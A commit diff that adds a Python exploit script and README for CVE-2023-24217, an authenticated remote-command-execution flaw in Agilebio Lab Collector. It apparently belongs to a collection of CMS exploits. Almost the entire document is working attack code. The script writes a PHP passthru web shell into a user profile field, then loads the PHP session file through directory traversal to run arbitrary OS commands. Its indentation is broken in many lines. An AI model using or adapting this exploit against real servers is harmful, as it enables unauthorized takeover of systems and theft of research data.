add Agilebio Lab Collector Electronic Lab Notebook RCE

100-各种CMS/Agilebio Lab Collector Electronic Lab Notebook/README.md

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+
+
+#### CVE 编号
+CVE-2023-24217

100-各种CMS/Agilebio Lab Collector Electronic Lab Notebook/exp.py

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+# Tested on: PHP/MYSQL
+# CVE: CVE-2023-24217
+# Category: webapps
+#
+# Lab Collector is a software written in PHP by Agilebio. Version v4.234 allows an authenticated user to execute os commands on the underlying operating system.
+#
+from argparse import ArgumentParser
+from requests import Session
+from random import choice
+from string import ascii_lowercase, ascii_uppercase, digits
+import re
+from base64 import b64encode
+from urllib.parse import quote_plus
+sess:Session = Session()
+cookies = {}
+headers = {}
+state = {}
+def random_string(length:int) -> str:
+    return "".join(choice(ascii_lowercase+ascii_uppercase+digits) for i in range(length))
+def login(base_url:str, username:str, password:str) -> bool:
+    data = {"login": username, "pass": password, "Submit":"", "action":"login"}
+headers["Referer"] = f"{base_url}/login.php?%2Findex.php%3Fcontroller%3Duser_profile"
+res = sess.post(f"{base_url}/login.php", data=data, headers=headers)
+if("My profile" in res.text):
+    return res.text
+else:
+return None
+def logout(base_url:str) -> bool:
+    headers["Referer"] = f"{base_url}//index.php?controller=user_profile&subcontroller=update"
+sess.get(f"{base_url}/login.php?%2Findex.php%3Fcontroller%3Duser_profile%26subcontroller%3Dupdate",headers=headers)
+def extract_field_value(contents, name):
+    value = re.findall(f'name="{name}" value="(.*)"', contents)
+if(len(value)):
+    return value[0]
+else:
+return ""
+def get_profile(html:str):
+    return {
+        "contact_name": extract_field_value(html, "contact_name"),
+        "contact_lab": extract_field_value(html, "contact_lab"),
+        "contact_address": extract_field_value(html, "contact_address"),
+        "contact_city": extract_field_value(html, "contact_city"),
+        "contact_zip": extract_field_value(html, "contact_zip"),
+        "contact_country": extract_field_value(html, "contact_country"),
+        "contact_tel": extract_field_value(html, "contact_tel"),
+        "contact_email": extract_field_value(html, "contact_email")
+    }
+def update_profile(base_url:str, wrapper:str, param:str, data:dict) -> bool:
+    headers["Referer"] = f"{base_url}/index.php?controller=user_profile&subcontroller=update"
+res = sess.post(f"{base_url}/index.php?controller=user_profile&subcontroller=update", data=data, headers=headers)
+return True
+def execute_command(base_url:str, wrapper:str, param:str, session_path:str, cmd:str):
+    session_file = sess.cookies.get("PHPSESSID")
+headers["Referer"] = f"{base_url}/login.php?%2F"
+page = f"../../../../../..{session_path}/sess_{session_file}"
+res = sess.get(f"{base_url}/extra_modules/eln/index.php?page={page}&action=edit&id=1&{param}={quote_plus(cmd)}", headers=headers)
+return parse_output(res.text, wrapper)
+def exploit(args) -> None:
+    wrapper = random_string(5)
+param = random_string(3)
+html = login(args.url, args.login_username, args.login_password)
+if(html == None):
+    print("unable to login")
+return False
+clean = get_profile(html)
+data = get_profile(html)
+tag = b64encode(wrapper.encode()).decode()
+payload = f"<?php $t=base64_decode('{tag}');echo $t;passthru($_GET['{param}']);echo $t; ?>"
+data["contact_name"] = payload #inject payload in name field
+if(update_profile(args.url, wrapper, param, data)):
+    login(args.url, args.login_username, args.login_password) # reload the session w/ our payload
+print(execute_command(args.url, wrapper, param, args.sessions, args.cmd))
+update_profile(args.url, wrapper, param, clean) # revert the profile
+logout(args.url)
+def parse_output(contents, wrapper) -> None:
+    matches = re.findall(f"{wrapper}(.*)\s{wrapper}", contents, re.MULTILINE | re.DOTALL)
+if(len(matches)):
+    return matches[0]
+return None
+def main() -> None:
+    parser:ArgumentParser = ArgumentParser(description="CVE-2023-24217")
+parser.add_argument("--url", "-u", required=True, help="Base URL for the affected application.")
+parser.add_argument("--login-username", "-lu", required=True, help="Username.")
+parser.add_argument("--login-password", "-lp", required=True, help="Password.")
+parser.add_argument("--cmd", "-c", required=True, help="OS command to execute.")
+parser.add_argument("--sessions", "-s", required=False, default="/var/lib/php/session/", help="The location where php stores session files.")
+args = parser.parse_args()
+if(args.url.endswith("/")):
+    args.url = args.url[:-1]
+if(args.sessions.endswith("/")):
+    args.sessions = args.sessions[:-1]
+exploit(args)
+pass
+if(__name__ == "__main__"):
+    main()